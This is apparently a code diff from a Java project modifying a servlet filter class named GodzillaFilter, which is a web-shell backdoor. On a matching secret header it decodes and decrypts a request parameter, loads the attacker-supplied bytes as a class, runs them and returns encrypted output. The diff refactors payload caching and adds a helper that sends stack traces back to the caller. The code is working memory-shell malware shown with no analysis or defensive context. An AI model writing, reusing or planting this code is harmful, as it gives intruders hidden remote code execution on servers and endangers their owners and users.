if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data)); payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return; return;
} }
@@ -105,6 +111,21 @@ public class GodzillaFilter extends ClassLoader implements Filter {
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
@Override @Override
public void init(FilterConfig filterConfig) throws ServletException { public void init(FilterConfig filterConfig) throws ServletException {
} }

Some files were not shown because too many files have changed in this diff Show More